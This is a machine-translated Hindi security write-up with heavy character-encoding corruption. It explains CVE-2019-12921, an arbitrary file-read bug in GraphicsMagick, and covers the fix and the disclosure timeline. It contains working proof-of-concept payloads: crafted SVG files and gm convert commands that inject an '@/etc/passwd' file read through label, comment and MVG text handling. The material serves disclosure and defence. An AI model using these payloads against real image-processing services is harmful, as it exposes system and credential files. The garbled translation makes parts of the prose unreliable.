рддреНрд░рд╛рд╕рджреА рдЕрдХреЗрд▓реЗ рдирд╣реАрдВ рдЖрддреА рд╣реИ


2016 рдореЗрдВ, ImageMagick рдореЗрдВ ImageTragick рднреЗрджреНрдпрддрд╛ рдиреЗ рдмрд╣реБрдд рд╢реЛрд░ рдордЪрд╛рдпрд╛ред рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рд░реВрдк рдореЗрдВ, рдпрд╣ рдПрдХ рдЕрдзрд┐рдХ рд╕реНрдерд┐рд░ рдФрд░ рдЙрддреНрдкрд╛рджрдХ рдПрдкреАрдЖрдИ рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ, ImageMagick рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдПрдХ рдХрд╛рдВрдЯрд╛, рдЧреНрд░рд╛рдлрд┐рдХреНрд╕рдореИрдЧрд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рдерд╛ред рдореВрд▓ рднреЗрджреНрдпрддрд╛ CVE-2016-3717, рдЬрд┐рд╕реЗ рд╕реНрдЯреАрд╡реА рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рдерд╛, рдиреЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХреА рдЧрдИ рдЫрд╡рд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдПрдХ рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреАред рдЖрдЬ рдореИрдВ GraphicsMagick рдореЗрдВ рдПрдХ рд╕рдорд╛рди рднреЗрджреНрдпрддрд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реВрдВрдЧрд╛, рдЬрд┐рд╕реЗ рдореИрдВрдиреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддреЗ рд╕рдордп рдЦреЛрдЬрд╛ рдерд╛ред


ImageTragick рд╕рд╛рдЗрдЯ рд╕реЗ рдЫрджреНрдо рдкреНрд░реЛрдЯреЛрдХреЙрд▓ 'рд▓реЗрдмрд▓' рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдореВрд▓ рд╢реЛрд╖рдг рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ ред


push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context 


рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рд░реЗрдВрдбрд░ред ReadImage рдлрд╝рд╛рдЗрд▓ рдХрд╛ ImagePrimitive рдЗрдореЗрдЬ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд▓реЗрдмрд▓ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: @ / etc / passwd рдПрдХ рдЫрд╡рд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдФрд░ рдлрд╝рд╛рдЗрд▓ рддреНрд░реБрдЯрд┐ рдХреЛ рдЦреЛрд▓рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрде рд╣реИред рд╕рдорд╛рд░реЛрд╣ рдХреЛрдб:


 #define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) ) { ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text); status=MagickFail; } 

рдлрд┐рд░ рднреА, рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрд┐рд╕реА рднреА рдЫрд╡рд┐ рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдмрдиреА рд╣реБрдИ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ "рд╕реБрд╡рд┐рдзрд╛" рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг BugBounty рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреА рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдПред
рдЗрд╕рдиреЗ рдореБрдЭреЗ рдЧреНрд░рд╛рдлрд┐рдХреНрд╕рдореИрдЧрд┐рдХ рдореЗрдВ рд▓реЗрдмрд▓ рдХреЛрдбреЗрдХ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд┐рдпрд╛ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рд░реВрдкрд╛рдВрддрд░рдг рдХрд░рддреЗ рд╣реИрдВ:


 $ gm convert label:@etc/passwd output.png 

рд▓рд╛рдпрдмреНрд░реЗрд░реА / etc / passwd рдлрд╝рд╛рдЗрд▓ рдХреА рдкрд╣рд▓реА рдкрдВрдХреНрддрд┐ рд▓реМрдЯрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЫрджреНрдо рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд░рд╣рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдирд╣реАрдВ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрдИ рд╕рдВрднрд╛рд╡рдирд╛ рдирд╣реАрдВ рд╣реИред рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЖрдк рдЗрд╕ "рд╕реБрд╡рд┐рдзрд╛" рдХрд╛ рдХреИрд╕реЗ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдЗрдП рдЗрд╕рдХреЗ рдХрд╛рд░рдгреЛрдВ рдХреЛ рджреЗрдЦреЗрдВред рд▓реЗрдмрд▓ рдЫрджреНрдо-рдкреНрд░реЛрдЯреЛрдХреЙрд▓ TranslTextEx рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ:


 text=(char *) formatted_text; /* If text starts with '@' then try to replace it with the content of the file name which follows. */ if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); } 

рдлрд╝рдВрдХреНрд╢рди рдЗрдирдкреБрдЯ рдкреИрд░рд╛рдореАрдЯрд░ рд╕реНрд╡рд░реВрдкрд┐рдд_рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рд░реЗрдЦрд╛ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг '@' рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ, рддреЛ рдЖрдЧреЗ рдХреА рд▓рд╛рдЗрди рдЬреАрдПрдо рджреНрд╡рд╛рд░рд╛ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдкреВрд░реНрдг рдкрде рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдкрдврд╝рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЖрдЗрдП рдЕрдиреНрдп рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рджреЗрдЦреЗрдВ рдЬрд╣рд╛рдВ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


  1. /coders/msl.c рдЖрд╡реГрддреНрддрд┐рдпреЛрдВ рдХреА рдмрд╣реБрд▓рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЬреАрдПрдо рдЗрд╕ рднрд╛рд╖рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдВрдЬрд╝рдХреНрдЪрд░ рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рднрд╛рд╖рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдЖрд▓реЗрдЦ рдореЗрдВ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдСрдкрд░реЗрд╢рди рд╕рдВрднрд╡ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдЬрд┐рдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред
  2. /magick/attribute.c рдЫрд╡рд┐ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рд╕рдВрднрд╛рд▓рдирд╛ред TranslText рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЯрд┐рдкреНрдкрдгреА рдФрд░ рд▓реЗрдмрд▓ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рд╡реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╕реАрдзреЗ рдкрд╛рд░рд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдмрдЬрд╛рдп рдЫрд╡рд┐ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдЬрд╛рдиреЗ рдХреЗред рдбреЗрд╡рд▓рдкрд░ рдиреЗ рд╣рдореЗрдВ рдПрдХ рдЫреЛрдЯреА рд╕реА рдЯрд┐рдк рджреА:


      Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open. 

    рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ рдЕрдЧрд░ рдЫрд╡рд┐ рдХреЗ рд╕реЗрдЯрдЗрдореЗрдЬ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдлрд╝рдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдЯреЙрдЧ рдХреЗ рдмрд╛рдж рдкреНрд░рджрд░реНрд╢рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдмреВрдБрдж рдмрдВрдж рд╣реЛ рдЬрд╛рддреА рд╣реИред рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдХ рдХреЛрдбреЗрдХ рд╣реИ - рдПрд╕рд╡реАрдЬреАред ReadSVGImage рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реИ:


    • XML рдкрд╛рд░реНрд╕рд░ рдмрдВрдж рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ
    • CloseBlob (рдЫрд╡рд┐) рдмреВрдБрдж рдмрдВрдж рдХрд░рддрд╛ рд╣реИ
    • MVG рдкреНрд░рддрд┐рдирд┐рдзрд┐ рд░реВрдкрд╛рдВрддрд░рдг рдХрд░рддрд╛ рд╣реИ
    • SetImageAttribute (рдЫрд╡рд┐, "рдЯрд┐рдкреНрдкрдгреА", svg_info.comment) рдЯрд┐рдкреНрдкрдгреА рдФрд░ рд╢реАрд░реНрд╖рдХ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рдЫрд╡рд┐ рдкрд░ рд▓рд┐рдЦреА рдЬрд╛рдПрдВрдЧреАред


рд╕рдлрд▓ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЗрди рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдВрддрд┐рдо рдкреНрд░рд╛рд░реВрдк рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП GIF, JPEGред


 <?xml version="1.0" standalone="no"?> <!--@/etc/passwd--> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/> </svg> 

 $ gm convert exploit.svg output.gif $ gm convert exploit.svg output.jpeg 


  1. /magick/annotate.c рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдиреЛрдЯреЗрдЯрдЗрдореЗрдЬ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдЪреНрдЫрд╛ рд╡рд┐рдХрд▓реНрдк рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
    • /coders/txt.c Lablel pseudo-рдкреНрд░реЛрдЯреЛрдХреЙрд▓ TXT рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рдорд╛рди рд╣реИ: рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реБрдЪрд┐ рдХрд╛ рдирд╣реАрдВ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред
    • /magick/render.c рдФрд░ рдпрд╣рд╛рдВ рд╣рдо рдЯреЗрдХреНрд╕реНрдЯ рдореИрдЬрд┐рдХ рд╡реЗрдХреНрдЯрд░ рдЧреНрд░рд╛рдлрд┐рдХреНрд╕ рдЖрджрд┐рдо рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░реЗ рдЕрдВрддрд┐рдо рд╢реЛрд╖рдг рдкрд░ рдЖрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╕рд░рд▓ рд╡рд╛рдХреНрдпрд╡рд┐рдиреНрдпрд╛рд╕ рд╣реИ:

 text "text" 

рдпрджрд┐ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг '@' рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рддреЛ рд╕рдлрд▓ рд╕рдВрдЪрд╛рд▓рди рд╕рдВрднрд╡ рд╣реИред


 $ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png 

рдпрд╣ рддрд░реАрдХрд╛ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдореЗрдВ рдЕрддреНрдпрдВрдд рджреБрд░реНрд▓рдн рд╣реИ, рд▓реЗрдХрд┐рди рдкреНрд░рддрд┐рдирд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИред рдкреНрд░рддрд┐рдирд┐рдзрд┐ рдПрдХ рдмрд╛рд╣рд░реА рдЫрд╡рд┐ рдкреНрд░реЛрд╕реЗрд╕рд░ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдкреНрд░рд╛рд░реВрдк рдкреБрд╕реНрддрдХрд╛рд▓рдп рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдирд╣реАрдВ рд╣реИред рдХрдИ рдХреЛрдбреЗрдХреНрд╕ рд╣реИрдВ рдЬреЛ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЖрдЧреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ MVG рдЫрджреНрдо рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рджреНрд╡рд╛рд░рд╛ рдХреА рдЬрд╛рддреА рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рдХреЛрдбреЗрдХ SVG рд╣реИред


рдСрдкрд░реЗрд╢рди CVE-2019-12921


XML рдкрд╛рд░реНрд╕рд░ SVG рдЫрд╡рд┐ рдорд╛рд░реНрдХрдЕрдк рдХреЛ рдПрдХ рдордзреНрдпрд╡рд░реНрддреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддреА рд╣реИ:


 FormatString(clone_info->filename,тАЭmvg:%.1024s",filename); 

Img рдЯреИрдЧ рд░реВрдкрд╛рдВрддрд░рдг рдореЗрдВ рдирд┐рдореНрди рдХреЛрдб рд╣реИ:


  case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; } 

рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдЙрджреНрдзрд░рдг рдЪрд┐рд╣реНрди рдХреЗ рд╕рд╛рде рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рдВрджрд░реНрдн рдХреЛ рддреЛрдбрд╝рдиреЗ рдФрд░ рд╣рдорд╛рд░реЗ рд╢реЛрд╖рдг рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:


 <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/> </svg> 

 $ gm convert exploit.svg output.png 

рдЕрдВрддрд┐рдо рдЫрд╡рд┐


MVG рдкреНрд░рддрд┐рдирд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рдХреЛрдбреЗрдХреНрд╕ рдХреЗ рд▓рд┐рдП рдСрдкрд░реЗрд╢рди рдкрд╛рдардХ рдХреЗ рд╡рд┐рд╡реЗрдХ рдкрд░ рд╣реЛрдЧрд╛ред


рд╕реБрд░рдХреНрд╖рд╛


рдЬреАрдПрдо рдХрд╛ рдПрдХ рдЕрджреНрдпрддрди рд╕рдВрд╕реНрдХрд░рдг рдирд┐рд░реНрдорд╛рддрд╛ рдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред рдлрд┐рдХреНрд╕ рдкрд▓ рдореЗрдВ рд╡рд┐рд╢реЗрд╖ @ рдкреНрд░рддреАрдХ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рд╕рдорд░реНрдерди рдХреЛ рд╣рдЯрд╛рддрд╛ рд╣реИ, рдорд░реНрдХреНрдпреВрд░рд┐рдпрд▓ рдкрд░рд┐рд╡рд░реНрддрди 16037: f780c290b4ab рдФрд░ 16038: TranslateTextEx рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП 44e3d0e872ebред рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рднрд╡рд┐рд╖реНрдп рдореЗрдВ, рдпрд╣ рддрд░реНрдХ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рдПрдЧрд╛ред рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдХреЗ рд░реВрдк рдореЗрдВ, рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ MAGICK_CODER_STABILITY = PRIMARY рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреЗрддрд╛ рд╣реИ


рд╕рдордп


рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА 6 рдЬреВрди, 2019 рдХреЛ рдбреЗрд╡рд▓рдкрд░ рдХреЛ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рдХрд░ рджреА рдЧрдИ, рдЙрд╕реА рджрд┐рди рдмрд╛рдж рдореЗрдВ рдПрдХ рд╣реЙрдЯрдлрд┐рдХреНрд╕ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ред 15 рдЬреВрди, 2019 рдХреЛ www.openwall.com рдкрд░ рдПрдХ рд╕реВрдЪрдирд╛ рдкрддреНрд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред 20 рдЬреВрди, 2019 рдХреЛ CVE-2019-12921 рдХреЛ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╕реМрдВрдкрд╛ рдЧрдпрд╛ рдерд╛ред

Source: https://habr.com/ru/post/hi458926/


All Articles